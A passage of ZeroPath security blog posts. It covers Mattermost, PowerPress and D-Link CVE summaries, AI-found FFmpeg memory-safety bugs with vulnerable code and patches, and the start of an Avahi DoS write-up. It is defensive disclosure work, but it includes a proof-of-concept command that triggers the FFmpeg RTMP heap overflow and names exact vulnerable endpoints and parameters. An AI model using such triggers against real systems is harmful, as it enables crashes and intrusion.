offers a bug bounty program, and provides regular security updates across all supported branches, including Extended Support Releases. Security updates and advisories are typically released in a coordinated manner with clear versioning and upgrade guidance. ## References - [NVD entry for CVE-2025-12419](https://nvd.nist.gov/vuln/detail/CVE-2025-12419) - [Mattermost Security Updates](https://mattermost.com/security-updates/) - [SecAlerts summary of CVE-2025-12419](https://secalerts.co/vulnerability/CVE-2025-12419) - [Auth0 documentation on OAuth state parameters](https://auth0.com/docs/secure/attack-protection/state-parameters) - [Zeropath research on CVE-2025-58073](https://zeropath.com/blog/cve-2025-58073-mattermost-oauth-state-manipulation) --- #### Blubrry PowerPress CVE-2025-13536: Arbitrary File Upload Vulnerability – Brief Summary and Technical Review - **Date**: November 27, 2025 - **Authors**: ZeroPath CVE Analysis - **Reading Time**: 8 minutes - **Keywords**: CVE-2025-13536, Blubrry PowerPress, WordPress plugin, arbitrary file upload, CWE-434, vulnerability - **URL**: https://zeropath.com/blog/cve-2025-13536-blubrry-powerpress-arbitrary-file-upload This post provides a brief summary and technical review of CVE-2025-13536, a high-severity arbitrary file upload vulnerability in the Blubrry PowerPress WordPress plugin up to version 11.15.2. The summary covers affected versions, technical root cause, detection methods, and vendor security history based on available sources. --- ## Introduction Attackers with Contributor-level access can upload arbitrary files to WordPress sites using the Blubrry PowerPress plugin, potentially achieving remote code execution and full site compromise. This vulnerability affects a plugin with a large install base in the podcasting sector, impacting content creators and organizations relying on WordPress for podcast distribution. Blubrry is a prominent podcast hosting and analytics provider. Its PowerPress plugin is one of the most widely used podcasting solutions for WordPress, powering hundreds of thousands of sites. The plugin's reach means vulnerabilities can have a broad impact across the podcasting and WordPress communities. ## Technical Information CVE-2025-13536 is a high-severity vulnerability (CVSS 8.8) in the Blubrry PowerPress Podcasting plugin for WordPress, affecting all versions up to and including 11.15.2. The vulnerability is present in the 'powerpress_edit_post' function. The plugin attempts to validate file extensions during file uploads, but if validation fails, the upload process is not stopped. This logic flaw enables authenticated users with Contributor-level access or higher to upload files with dangerous extensions, such as PHP, to the server. The uploaded files may be stored in web-accessible directories (for example, `wp-content/uploads`), allowing attackers to access and execute them via HTTP requests. This can result in remote code execution, site takeover, and further compromise of the underlying server. The vulnerability is classified as CWE-434: Unrestricted Upload of File with Dangerous Type. Code references for the vulnerable logic are found in `powerpressadmin.php` at lines 2368, 3012, and 3068 in version 11.14.1: - [powerpressadmin.php#L2368](https://plugins.trac.wordpress.org/browser/powerpress/tags/11.14.1/powerpressadmin.php#L2368) - [powerpressadmin.php#L3012](https://plugins.trac.wordpress.org/browser/powerpress/tags/11.14.1/powerpressadmin.php#L3012) - [powerpressadmin.php#L3068](https://plugins.trac.wordpress.org/browser/powerpress/tags/11.14.1/powerpressadmin.php#L3068) Attackers exploit this by uploading executable files through the plugin's admin interface, bypassing intended file type restrictions. The vulnerability does not require complex techniques or privilege escalation beyond Contributor-level access. ## Detection Methods Detecting vulnerabilities in WordPress plugins, such as the PowerPress Podcasting plugin, involves a combination of proactive monitoring and analysis. While specific detection methods for this plugin's vulnerabilities are not detailed in the provided sources, general strategies can be employed to identify potential issues: **1. Regular Security Scanning:** Utilize security tools to perform regular scans of your WordPress site. These tools can identify known vulnerabilities in plugins and themes by comparing installed versions against databases of reported issues. **2. Monitoring for Unusual Activity:** Keep an eye on your website's logs for unexpected behaviors, such as unauthorized changes to content, new administrative accounts, or unusual login attempts. These can be indicators of exploitation attempts. **3. Staying Informed on Vulnerability Disclosures:** Subscribe to security advisories and vulnerability databases to receive timely information about newly discovered vulnerabilities in WordPress plugins, including PowerPress. This enables prompt action to mitigate risks. **4. Implementing Web Application Firewalls (WAFs):** Deploy WAFs to filter and monitor HTTP traffic between a web application and the Internet. WAFs can help detect and block malicious requests attempting to exploit known vulnerabilities. By integrating these practices into your website maintenance routine, you can enhance the detection and prevention of potential security issues associated with WordPress plugins. ## Affected Systems and Versions - Product: Blubrry PowerPress Podcasting plugin for WordPress - Affected versions: All versions up to and including 11.15.2 - Vulnerable configuration: Any WordPress installation with PowerPress plugin version 11.15.2 or earlier, where users with Contributor-level access or higher can upload files ## Vendor Security History Blubrry PowerPress has a history of security vulnerabilities, including stored XSS, CSRF, and SSRF issues. Previous vulnerabilities include: - CVE-2025-64201 (CSRF, up to 11.13.12) - CVE-2025-32691 (SSRF, up to 11.12.6) The vendor typically releases patches quickly after disclosure, as seen with the release of version 11.15.3 shortly after CVE-2025-13536 was reported. However, the frequency of issues suggests ongoing challenges in secure development practices. ## References - [NVD entry for CVE-2025-13536](https://nvd.nist.gov/vuln/detail/CVE-2025-13536) - [Official CVE entry](https://www.cve.org/CVERecord?id=CVE-2025-13536) - [Wordfence Threat Intelligence](https://www.wordfence.com/threat-intel/vulnerabilities/id/d420ee49-e7b3-43d8-a263-8a93abd1133c?source=cve) - [Plugin code reference: powerpressadmin.php#L2368](https://plugins.trac.wordpress.org/browser/powerpress/tags/11.14.1/powerpressadmin.php#L2368) - [Plugin code reference: powerpressadmin.php#L3012](https://plugins.trac.wordpress.org/browser/powerpress/tags/11.14.1/powerpressadmin.php#L3012) - [Plugin code reference: powerpressadmin.php#L3068](https://plugins.trac.wordpress.org/browser/powerpress/tags/11.14.1/powerpressadmin.php#L3068) - [Plugin changelog and updates](https://plugins.trac.wordpress.org/changeset/3402635/) - [PowerPress plugin page](https://wordpress.org/plugins/powerpress/) --- #### Mattermost CVE-2025-12421: Brief Summary of Critical Account Takeover via SSO Code Exchange - **Date**: November 27, 2025 - **Authors**: ZeroPath CVE Analysis - **Reading Time**: 9 minutes - **Keywords**: CVE-2025-12421, Mattermost, account takeover, SSO, authentication, vulnerability - **URL**: https://zeropath.com/blog/mattermost-cve-2025-12421-account-takeover This post provides a brief summary of CVE-2025-12421, a critical account takeover vulnerability in Mattermost affecting versions 11.0.x through 11.0.2, 10.12.x through 10.12.1, 10.11.x through 10.11.4, and 10.5.x through 10.5.12. The flaw allows authenticated users to take over other accounts by exploiting improper token validation in the SSO code exchange process. Includes affected versions, technical details, and references. --- ## Introduction A single request can let an attacker hijack any user account in a Mattermost deployment if the wrong configuration is in place. This is not a theoretical risk—real-world deployments with default settings are exposed to critical account takeover attacks due to CVE-2025-12421. **About Mattermost:** Mattermost is a leading open source, self-hosted collaboration platform used by enterprises and government agencies worldwide. It offers secure messaging, file sharing, and integrations, with a focus on compliance and data sovereignty. Its support for multiple authentication methods makes it a popular choice for organizations with complex identity requirements. ## Technical Information CVE-2025-12421 is a critical flaw in Mattermost's authentication flow, specifically in how it handles switching between authentication methods. The vulnerability is present in the code exchange process at the `/users/login/sso/code-exchange` endpoint. When a user switches authentication methods (such as from email-password to OAuth or between different OAuth providers), Mattermost should verify that the authorization code used in the exchange originates from the same authentication session and is linked to the requesting user. The root cause is that Mattermost does not properly verify the origin and binding of the token during the code exchange. An attacker who is already authenticated can craft a request with a specially formatted email address and a valid authorization code. Because the system fails to ensure that the code and email address are part of the same authentication flow, the attacker can cause the system to associate the code with a different user account. This results in a full account takeover of the targeted user, without needing to know or guess their credentials. The vulnerability requires two configuration settings to be in their default state: `ExperimentalEnableAuthenticationTransfer` must be enabled (which allows users to switch authentication methods), and `RequireEmailVerification` must be disabled (which means the system does not require users to verify ownership of email addresses during authentication). Both are default in affected versions, so most deployments are at risk unless these settings have been changed. No public code snippets or exploit scripts are available for this vulnerability as of the disclosure date. ## Affected Systems and Versions - Mattermost 11.0.x up to and including 11.0.2 - Mattermost 10.12.x up to and including 10.12.1 - Mattermost 10.11.x up to and including 10.11.4 - Mattermost 10.5.x up to and including 10.5.12 Vulnerability requires: - `ExperimentalEnableAuthenticationTransfer` enabled (default: enabled) - `RequireEmailVerification` disabled (default: disabled) ## Vendor Security History Mattermost has experienced several authentication-related vulnerabilities in recent years. Notably, CVE-2025-12419 and CVE-2025-58073 involved flaws in OAuth and SSO handling, both leading to account takeover scenarios. The vendor maintains a responsible disclosure policy and issues regular security updates, but the recurrence of authentication logic issues indicates an area that requires ongoing attention and improvement. ## References - [NVD entry for CVE-2025-12421](https://nvd.nist.gov/vuln/detail/CVE-2025-12421) - [Mattermost Security Updates](https://mattermost.com/security-updates/) - [Switching Authentication Methods in Mattermost](https://support.mattermost.com/hc/en-us/articles/21575666726164-Switching-Authentication-Methods) - [Authentication Configuration Settings](https://docs.mattermost.com/administration-guide/configure/authentication-configuration-settings.html) - [Experimental Configuration Settings](https://docs.mattermost.com/administration-guide/configure/experimental-configuration-settings.html) - [CVE-2025-12419: OAuth State Token Validation](https://zeropath.com/blog/cve-2025-12419-mattermost-oauth-state-token-validation) - [Mattermost Security Updates Blog (Patch Info)](https://mattermost.com/blog/mattermost-security-updates-11-0-4-10-12-2-10-11-5-esr-and-10-5-13-esr-released/) --- #### D-Link DIR-822K and DWR-M920 CVE-2025-13547 Memory Corruption Vulnerability: Brief Summary and Technical Review - **Date**: November 23, 2025 - **Authors**: ZeroPath CVE Analysis - **Reading Time**: 8 minutes - **Keywords**: CVE-2025-13547, D-Link, memory corruption, buffer overflow, router vulnerability, CWE-119 - **URL**: https://zeropath.com/blog/cve-2025-13547-dlink-dir-822k-dwr-m920-memory-corruption This post provides a brief summary of CVE-2025-13547, a critical memory corruption vulnerability in D-Link DIR-822K and DWR-M920 routers. We outline the affected firmware versions, technical details of the flaw in the /boafrm/formDdns endpoint, and vendor security history. No patch or detection methods are currently available. --- ## Introduction Remote attackers can take full control of D-Link DIR-822K and DWR-M920 routers through a critical memory corruption flaw in the web interface. With public exploit code already available, unpatched devices are at immediate risk of compromise and persistent network intrusion. D-Link is a major global networking hardware vendor with millions of devices deployed worldwide. Their DIR and DWR series routers are widely used in homes and small businesses, making vulnerabilities in these products highly impactful for both individual users and organizations. ## Technical Information CVE-2025-13547 is a stack-based buffer overflow vulnerability in the /boafrm/formDdns endpoint of D-Link DIR-822K and DWR-M920 routers running firmware version 1.00_20250513164613 or 1.1.50. The flaw is triggered when an attacker sends an HTTP request containing a submit-url parameter with a value that exceeds the allocated buffer size. The firmware copies this value into a fixed-size stack buffer without proper bounds checking, resulting in memory corruption. The root cause is improper input validation for the submit-url parameter. The vulnerable code does not verify the length of the user-supplied value before copying it to the stack. This allows an attacker to overwrite adjacent memory, including function return addresses or control data, which can lead to arbitrary code execution or denial of service. The vulnerability is classified as CWE-119 (improper restriction of operations within the bounds of a memory buffer). No authentication is required to exploit this flaw. Any remote attacker with network access to the router's web interface can send a malicious request to /boafrm/formDdns and trigger the buffer overflow. Public exploit code is available and can be used to automate attacks. ## Affected Systems and Versions - D-Link DIR-822K, firmware version 1.00_20250513164613 and earlier - D-Link DWR-M920, firmware version 1.1.50 and earlier Routers running these firmware versions or older are vulnerable. The attack targets the /boafrm/formDdns endpoint and specifically abuses the submit-url parameter. ## Vendor Security History D-Link has a history of buffer overflow and remote code execution vulnerabilities in its router firmware. Notable examples include CVE-2020-29557 and multiple buffer overflow issues disclosed in 2024 and 2025. Patch response times have varied, and end-of-life policies often leave older devices without security updates. The DIR-822K reached end of support in February 2023, meaning it will not receive further patches. ## References - [NVD entry for CVE-2025-13547](https://vuldb.com/?id.333314) - [Official CVE entry](https://vuldb.com/?ctiid.333314) - [GitHub issue 30](https://github.com/QIU-DIE/CVE/issues/30) - [GitHub issue 42](https://github.com/QIU-DIE/CVE/issues/42) - [VulDB submit 693758](https://vuldb.com/?submit.693758) - [VulDB submit 695428](https://vuldb.com/?submit.695428) - [D-Link official website](https://www.dlink.com/) --- ### Research (10 most recent of 11 total) #### Autonomously Finding 7 FFmpeg Vulnerabilities With AI - **Date**: December 2, 2025 - **Authors**: ZeroPath Team - **Reading Time**: 15 minutes - **Keywords**: ffmpeg, ZeroPath, static analysis, AI code scanner, security research, open source security, memory safety, buffer overflow, off-by-one, integer overflow, CVEs - **URL**: https://zeropath.com/blog/autonomously-finding-7-ffmpeg-vulnerabilities-with-ai-2025 ZeroPath's AI-assisted SAST analyzed FFmpeg and reported seven distinct memory safety flaws, including buffer overflows and invalid memory writes, missed by traditional tools. --- # Autonomously Finding 7 FFmpeg Vulnerabilities With AI ## Introduction ZeroPath's AI-assisted SAST analyzed FFmpeg's protocol handlers, parsers, filters, and Android glue code, and reported seven distinct memory safety flaws. Each issue stems from a mismatch between what the developers intended to guarantee and what the code actually does. This is precisely the class of issues that traditional SASTs miss: subtle, logically-flawed code, that cannot be detected with simple pattern matching. Below we document each case, and some guesses as to why conventional tools failed to pick them up. We also include the original ZeroPath report, to give an idea of how our tool explains the issues it finds. Due to lack of space in this blog post, we will not be including our verbose, targeted source-to-sink tracker output, which also visually describes the pathway of how each bug occurs; nor will we be demonstrating our AI-based patch generation which autonomously creates patches for issues that are detected. If you're interested in checking those out, register for a free account at ZeroPath and try it out; otherwise, we'll have another post pretty soon showing how this works! If you're interested in learning about how ZeroPath actually works, take a look at [our explainer](https://zeropath.com/blog/how-zeropath-works), which outlines some of our architectural decisions in creating ZeroPath. All of these bugs have been patched by the FFmpeg team, and we thank them for their hard work and dedication when it comes to their codebase and security. --- ## 1) Android MediaCodec audio: Buffer overflow due to a truncated sample count and full-size copy >mediacodec_wrap_sw_audio_buffer() computes frame->nb_samples by dividing info->size by (sample_size * channels), allocates buffers via ff_get_buffer() based on that truncated nb_samples, then memcpy()s info->size bytes into the allocated buffer. If info->size is not an exact multiple of (sample_size * channels) the memcpy will write up to (unit - 1) bytes past the allocation, causing a heap buffer overflow. The overflow is reachable from attacker-provided media sent through Android MediaCodec APIs. This buffer overflow exists in ffmpeg's Android MediaCodec player, in the `mediacodec_wrap_sw_audio_buffer` function, making it a juicy target for Android devices (and really, Android devices only): ```c static int mediacodec_wrap_sw_audio_buffer(AVCodecContext *avctx, MediaCodecDecContext *s, uint8_t *data, size_t size, ssize_t index, FFAMediaCodecBufferInfo *info, AVFrame *frame) { int ret = 0; int status = 0; const int sample_size = av_get_bytes_per_sample(avctx->sample_fmt); if (!sample_size) { av_log(avctx, AV_LOG_ERROR, "Could not get bytes per sample\n"); ret = AVERROR(ENOSYS); goto done; } frame->format = avctx->sample_fmt; frame->sample_rate = avctx->sample_rate; frame->nb_samples = info->size / (sample_size * avctx->ch_layout.nb_channels); [..] ret = ff_get_buffer(avctx, frame, 0); // allocates frame->data[0] based on frame->nb_samples [..] memcpy(frame->data[0], data, info->size); ``` The problem with the above code was that the allocation of memory for the `frame->data[0]` buffer was performed with the assumption that `frame->nb_samples` would directly correspond to `info->size`. However in reality, this calculation: ``` info->size / (sample_size * avctx->ch_layout.nb_channels) ``` may produce a too-small number, if `info.size` was not a multiple of `sample_size * channels`, due to integer truncation. For example, `25/10=2.5`, which would allocate only `20` bytes of data, but the `memcpy()` call would pass `info->size = 25`, producing a heap buffer overflow. **Why typical tools missed it** * Reaching this wrapper requires Android MediaCodec plumbing and realistic buffer sizes. * Division-based truncation does not look suspicious locally; the copy uses a variable that appears "validated” by earlier code. **Why our AI SAST flagged it** The analyzer built the unit relation `frame_unit = sample_size * channels`, inferred the contract `alloc_bytes >= nb_samples * frame_unit`, and compared it to the later `copy_bytes = info.size`. It then searched for `info.size = k * frame_unit + r` with `r > 0`, which violates the equality that the code implicitly relies on. The patch for this issue is [here](https://code.ffmpeg.org/FFmpeg/FFmpeg/pulls/20810). The fix involves ensuring that no integer truncation has occured in the sample and frame allocation calculations. --- ## 2) RTMP client: Buffer overflow due to unbounded AMF serialization from attacker-controlled parameters >The RTMP client code (gen_connect) allocates a fixed-size packet buffer and writes arbitrary AMF fields derived from the rt->conn string into that buffer without checking remaining capacity. An attacker-controlled rtmp_conn can be tokenized and serialized into the packet, overflowing the allocated buffer and causing heap corruption/crashes. This bug exists in the Real-Time Messaging Protocol (RTMP) code of FFmpeg, This issue was quite basic, and a bit surprising that it wasn't found before. It mostly stemmed from a packet which was built with a local parameter, which simply overflows a heap buffer when constructing a network packet. This isn't the most exciting vulnerability due to the requirement to control a local parameter when ffmpeg is called, but it could be easily reproduced with the following: ```bash ffmpeg -v debug -nostdin -re -f lavfi -i anullsrc=r=44100:cl=mono \ -f flv -rtmp_conn $(perl -e 'print "4" x 7000;') "rtmp://127.0.0.1:1935/live/stream" ``` **Why typical tools missed it** * Most fuzz harnesses treat RTMP as a network transport and do not drive the client-side packet builder. * The writes are split across helpers, each of which seems locally correct; capacity is not rechecked at the call site. **Why our AI SAST flagged it** The analyzer inferred an *implicit maximum encoded size* contract from neighboring builders and observed that the caller did not maintain a decrementing "remaining” counter. It then symbolically encoded a long `conn` list and demonstrated that the cumulative writes exceed the buffer. The patch for this issue is [here](https://code.ffmpeg.org/FFmpeg/FFmpeg/pulls/20796). --- ## 3) ICY metadata: Off-by-one NUL on the stack >In store_icy(), the code reads ch16 bytes of metadata into a local buffer of size (25516 + 1) and then writes a NUL byte at data[len + 1] instead of at data[len]. For the maximum allowed ch (0..255) this results in a write one past the intended terminator. This off-by-one write can corrupt adjacent stack state, leading to crashes or memory corruption and potentially enabling exploit primitives (denial-of-service or code execution) when processing crafted remote ICY metadata. Icecast (ICY) is an oldschool protocol that is built on top of HTTP to retrieve internet radio streams and play them. In this vulnerability's case, metadata retrieved from an external server could write past the stack buffer, due to a simple off-by-one bug. The bug is quite obvious, and it's again quite surprising it hasn't been found before: ```c static int store_icy(URLContext *h, int size) [..] if (len < 0) return len; if (ch > 0) { char data[255 * 16 + 1]; int ret; len = ch * 16; ret = http_read_stream_all(h, data, len); if (ret < 0) return ret; data[len+1] = 0; [..] ``` While `http_read_stream_all()` rejected a too-large `len` of anything bigger than `255 * 16 + 1`, it did not account for the fact that right on the edge-case of `len = 255 * 16 + 1`, the null-pointer may be written out-of-bounds later on. **Why typical tools missed it** * Many test inputs never reach the extreme value where `len` equals the maximum; fuzzers bias toward varied content rather than precise boundary multiples. * The pattern resembles typical safe termination and passes superficial checks. **Why our AI SAST flagged it** The analyzer tracked `len` as `ch * 16` and proved that for `ch = 255` the write index equals the array bound, violating the buffer's exact size by one. The patch for this issue is [here](https://code.ffmpeg.org/FFmpeg/FFmpeg/pulls/20804). The patch was to simply set `data[len] = 0;` instead of using `len+1`. --- ## 4) RTP RFC4175 uncompressed video: Buffer overflow due to integer overflow in offset arithmetic >In rfc4175_handle_packet(), the code computes copy_offset from attacker-controlled line and offset values extracted from RTP packet headers, then checks if copy_offset + length > data->frame_size before calling memcpy. However, for large video dimensions, the intermediate calculation (line * data->width + offset) * data->pgroup / data->xinc can overflow a signed 32-bit integer, wrapping to a negative value. This causes the bounds check to pass incorrectly and allows a heap buffer overflow via crafted RTP packets, enabling remote code execution or denial of service. This bug, in the RFC4175 Real-time Transport Protocol (RTP) raw video parser, is another classic buffer overflow caused by an integer overflow. This time, it's an externally-driven integer (RTP is used for delivering audio/video over IP networks), allowing a remote exploit. The bug was in the `rfc4175_handle_packet()` function, which did something along the lines of this: ```c line = ((headers[2] & 0x7f) << 8) | headers[3]; offset = ((headers[4] & 0x7f) << 8) | headers[5]; cont = headers[4] & 0x80; headers += 6; data->field = field; if (!data->pgroup || length % data->pgroup) return AVERROR_INVALIDDATA; if (length > payload_len) length = payload_len; if (data->interlaced) line = 2 * line + field; /* prevent ill-formed packets to write after buffer's end */ copy_offset = (line * data->width + offset) * data->pgroup / data->xinc; if (copy_offset + length > data->frame_size || !data->frame) return AVERROR_INVALIDDATA; dest = data->frame + copy_offset; memcpy(dest, payload, length); ``` The issue stemmed from the fact that the calculation of the correct offset of the buffer (`data->frame + copy_offset`) did not account for massive numerical values of the height of a stream's frame, which could result in the incorrect calculation of `line`, or `copy_offset`, which resulted in the inequality `copy_offset + length > data->frame_size` being false, due to `copy_offset + length` being false when the integer wrapped around to a negative due to truncation. Even though there were protections in place to prevent ill-formed packets from causing a buffer overflow, the protection was insufficient, as our SAST calculated. **Why typical tools missed it** * Using RFC4175 requires network-driven streams and valid packet sequences. **Why our AI SAST flagged it** The analyzer normalized the arithmetic to a 64-bit model, derived upper bounds from legal video parameters, and produced cases where intermediate additions exceed `INT_MAX` while remaining plausible for modern resolutions. This patch for this issue is [here](https://code.ffmpeg.org/FFmpeg/FFmpeg/pulls/20803). The patch was as simple as: ```c if (line >= data->height) return AVERROR_INVALIDDATA; ``` --- ## 5) drawtext with detection bboxes: Buffer overwrite due to separator budgeting error in string build >The drawtext filter concatenates detection bbox labels into a heap-allocated buffer without accounting for separator overhead. When text_source=AV_FRAME_DATA_DETECTION_BBOXES, it allocates s->text to AV_DETECTION_BBOX_LABEL_NAME_MAX_SIZE*(AV_NUM_DETECTION_BBOX_CLASSIFY+1) (320 bytes). Later, it copies the detect_label and up to AV_NUM_DETECTION_BBOX_CLASSIFY classify_labels with ", " separators using strcpy/strcat, which can exceed the allocated size (e.g., 64 + 4*(2+64) = 328) and overflow s->text, leading to heap memory corruption. FFmpeg's `drawtext` filter is designed to display text over video, and it can take input from a few different sources. When `text_source` is set to detection bounding boxes (which are used in object detection, like detecting and labeling things in a video frame), the filter works by concatenating labels that describe the detected objects into a single text string. To fit the text string into memory, the memory was allocated as such: ```c s->text = av_mallocz(AV_DETECTION_BBOX_LABEL_NAME_MAX_SIZE * (AV_NUM_DETECTION_BBOX_CLASSIFY + 1)); ``` This, however, was insufficient for allocation, as the text string is a concatenation of the text and `", "`, for each label. **Why typical tools missed it** * Most harnesses do not populate detection metadata in frames. * String handling with `strcpy` and `strcat` appears benign for typical label sizes and silently becomes unsafe when all labels are at maximum length. **Why AI SAST flagged it** The analyzer computed a worst-case label vector of length bounds and added separator overhead. If up to `k` labels can be concatenated, the allocation must include `sum(label_lengths) + 2 * (k - 1) + 1` for separators and terminator. The code budgeted only `k * max_label + 1`. It then compared the exact bound to the allocated size and marked the overflow when all labels hit their maxima. This patch for this issue is [here](https://code.ffmpeg.org/FFmpeg/FFmpeg/pulls/20811). The allocation simply changed to: ```c s->text = av_mallocz((AV_DETECTION_BBOX_LABEL_NAME_MAX_SIZE + 1) *(AV_NUM_DETECTION_BBOX_CLASSIFY + 1)); ``` --- ## 6) WHIP muxer: invalid free due to incorrect stream index and freeing an invalid pointer >In create_rtp_muxer (libavformat/whip.c), for each input stream the code creates an rtp_ctx and a single stream inside it (index 0). Later it incorrectly accesses rtp_ctx->streams[i]->codecpar (using the loop index i) when it should access rtp_ctx->streams[0]. For s->nb_streams > 1 this references out-of-bounds memory and then calls av_freep() on that pointer, leading to memory corruption or a crash (Denial of Service) during WHIP initialization. FFmpeg's WebRTC-HTTP Ingestion Protocol (WHIP) muxer had a simple logical flaw in its muxing code when using the H264 codec, resulting in an invalid free of an out-of-bounds pointer, during connection setup. Previously, the muxer code did something like this: ```c for (i = 0; i < s->nb_streams; i++) { [..] /** * For H.264, consistently utilize the annexb format through the Bitstream Filter (BSF); * therefore, we deactivate the extradata detection for the RTP muxer. */ if (s->streams[i]->codecpar->codec_id == AV_CODEC_ID_H264) { av_freep(&rtp_ctx->streams[i]->codecpar->extradata); rtp_ctx->streams[i]->codecpar->extradata_size = 0; } ``` To cut a long story short, in WHIP and H264, the _inner_ RTP context (`rtp_ctx`) *always* holds exactly one stream at index zero, regardless of how many streams the packet contains. If a packet contained multiple streams, the loop would attempt to read (and possibly free) the invalid pointer, `rtp_ctx->streams[i]` where `i >= 1`. This will simply result in a crash on most systems. **Why typical tools missed it** * Muxer inits are exercised far less than demuxers in typical fuzz targets. * Many test pipelines only mux a single stream, which masks the out-of-bounds access. **Why AI SAST flagged it** The analyzer tracked cardinality from the constructor to the use site. It saw a single-element container on the producer path and an index that comes from an unrelated loop on the consumer path, then proved the index can exceed zero for multi-stream inputs. The patch for this issue is [here](https://code.ffmpeg.org/FFmpeg/FFmpeg/pulls/20805). It's nothing complicated at all: ```diff - av_freep(&rtp_ctx->streams[i]->codecpar->extradata); - rtp_ctx->streams[i]->codecpar->extradata_size = 0; + av_freep(&rtp_ctx->streams[0]->codecpar->extradata); + rtp_ctx->streams[0]->codecpar->extradata_size = 0; ``` --- ## 7) SCTP write: buffer underflow due to caller-controlled header consumption without length guard >sctp_write forwards caller-controlled buffer and length directly to the socket. When s->max_streams is set there is no check that the provided size is >= 2 before reading the first two bytes (AV_RB16(buf)) and calling ff_sctp_send(buf + 2, size - 2, ...). This can result in out-of-bounds reads, integer-to-size_t conversion of negative lengths, crashes, and potentially disclosure of process memory to the network if an attacker can control buf and size. The stream id is taken directly from the buffer and only checked with a > comparison against max_streams, which may allow incorrect stream selection if semantics are mismatched. In another logical flaw which depended on specific flags being set in the call-path, FFmpeg's Stream Control Transmission Protocol (SCTP) handler contained a logic flaw when writing a buffer to a socket, leading to a massive out-of-bounds reads due to the incorrect calculation of the size of a buffer and integer overflow. The `sctp_write()` function did the following: ```c if (s->max_streams) { /*StreamId is introduced as a 2byte code into the stream*/ struct sctp_sndrcvinfo info = { 0 }; info.sinfo_stream = AV_RB16(buf); if (info.sinfo_stream > s->max_streams) { av_log(h, AV_LOG_ERROR, "bad input data\n"); return AVERROR_BUG; } ret = ff_sctp_send(s->fd, buf + 2, size - 2, &info, MSG_EOR); } else ret = send(s->fd, buf, size, MSG_NOSIGNAL); ``` This code reads a 16-bit stream id from the start of the buffer and forwards `buffer + 2` with `size - 2`. This is problematic, because there is no actual check requiring `size >= 2`, meaning, for example, `size - 2` as is passed to `ff_sctp_send()`, may be equal to `-2`. `ff_sctp_send()`'s second parameter is a `size_t` type, meaning `-2` underflows to a massive number, resulting in a massive amount of memory being sent and disclosed over the socket. Other similar code correctly, before consuming an inline header, validated that the input length satisfied the header size and that the remaining payload length stayed nonnegative after subtraction. **Why typical tools missed it** * SCTP is rarely enabled in default builds and seldom exercised in fuzz setups. * SCTP is network-orientated and this vulnerability relies on both receiving and sending packets. **Why AI SAST flagged it** The analyzer treats "consume header then forward remainder” as a standard pattern. It generated a minimal counterexample `size = 0 or 1`, established that `size - 2` becomes negative, and followed the value through conversion sites and subsequent reads. The patch for this issue is [here](https://code.ffmpeg.org/FFmpeg/FFmpeg/pulls/20809), and was simple enough: ```diff +++ b/libavformat/sctp.c @@ -332,6 +332,9 @@ static int sctp_write(URLContext *h, const uint8_t *buf, int size) } if (s->max_streams) { + if (size < 2) + return AVERROR(EINVAL); [..] ``` --- ## How ZeroPath's AI SAST reasons about intent Across these seven cases the engine applied a small set of reusable intent models: * **Allocation and copy alignment.** If an allocation is computed from a derived unit, any later copy must be bounded by the same unit relation. The system symbolically searches for residues and rounding effects that violate the equality. * **Framing invariants.** When code constructs "header then payload” blocks, the header length must be less than or equal to the block size. The analyzer confirms this with linear constraints and examines both signed and unsigned interpretations. * **Packet builder capacities.** For encoders that write variable-length fields into fixed buffers, the engine checks that every write decrements a shared capacity variable or passes through a helper that enforces capacity. Missing decrements are treated as violations of an inferred contract. * **Cardinality propagation.** If a function creates exactly one stream or exactly N entries, downstream code must not index beyond that cardinality. The engine follows these facts interprocedurally and flags mismatches at use sites. * **Offset arithmetic integrity.** When writing into frame buffers, the analyzer lifts index math into a wide-integer domain, then proves whether offsets fit into the destination bounds for the legal domain of widths, heights, strides, and pixel sizes. This blend of symbolic execution, unit reasoning, and contract inference is what distinguishes AI-powered SAST from rule-matching and pure coverage exploration. Rather than waiting for a random input to stumble into a failure, it proves the existence of violating inputs and gives you the exact shape of those inputs. --- ## Why the usual tools missed these vulnerabilities ### Fuzzers Modern fuzzers excel at exercising decoders that accept single-file inputs. Several of these bugs require: * environment-gated paths such as Android MediaCodec, WHIP initialization, or SCTP; * protocol handshakes and multi-packet state (RTMP, RTP RFC4175); * metadata that must be injected into `AVFrame` side data rather than the media bitstream (drawtext detection labels). Fuzzing harnesses typically stop at demux or decoder entry points with file inputs and do not emulate network sessions, signaling, or platform frameworks. That leaves entire classes of packet builders, mux inits, and filter paths under-exercised. ### Traditional static analysis Rule packs catch direct misuse patterns, but frequently miss cross-function resource contracts such as "derive allocation from A, then copy size B that was not derived from A,” or "read a header field that semantically bounds a later write, but never validate the relation.” These checks require reasoning about *intent* and *units* across call chains, not just local anti-patterns. ## ZeroPath's AI SAST Our analyzer constructs *semantic contracts* from code structure, sibling functions, and common protocol idioms, then proves or refutes them along real call graphs. When a developer clearly intended two quantities to align — for example, a byte count used for allocation and the same count used for copy — the engine treats that as an invariant and searches for counterexamples, including integer truncation, alignment rounding, or unit mismatches. If you've enjoyed taking a look at these vulnerabilities, how they were discovered by logical reasoning by an AI SAST, and their technical details, don't forget to check back soon, as we'll be documenting a bunch of similar vulnerabilities we've discovered in the Linux kernel, too. --- #### Avahi Simple Protocol Server DoS (CVE-2025-59529) - **Date**: November 18, 2025 - **Authors**: ZeroPath Team - **Reading Time**: 8 minutes - **Keywords**: Avahi, mDNS, DNS-SD, Zeroconf, CVE-2025-59529, denial of service, resource exhaustion, nss-mdns, Unix domain socket, ZeroPath - **URL**: https://zeropath.com/blog/avahi-simple-protocol-server-dos-cve-2025-59529 A logic flaw in Avahi Simple Protocol Server ignored the configured client limit, allowing any user to open unlimited connections and exhaust memory and file descriptors, causing a system-wide denial of service for mDNS and DNS-SD. --- # Avahi Simple Protocol Server DoS (CVE-2025-59529) _TL;DR_ — ZeroPath's AI-powered SAST found a business-logic vulnerability in Avahi, where the daemon kept accepting new Simple Protocol clients even after a configured limit should have kicked in. This let any local user exhaust memory and FDs until the daemon becomes unresponsive, breaking .local name resolution and services that rely on mDNS/DNS-SD. --- ## Background Avahi provides multicast DNS and DNS Service Discovery on Linux, commonly known as Bonjour compatibility. It is widely shipped by Linux distributions and is used by the nss-mdns module so that standard libc name lookups can resolve .local hostnames and link-local addresses without manual DNS configuration. ## What we found ### The limit that never limits Scanning Avahi with ZeroPath's AI-powered SAST, we found that the Avahi code defined a maximum client limit, `CLIENTS_MAX`, which was documented to limit the maximum number of connections that a single client (user) could keep open at any one time. However, Avahi's main worker loop did not actually enforce this limit in its Simple Protocol code, calling `accept()` unconditionally: ```c static void 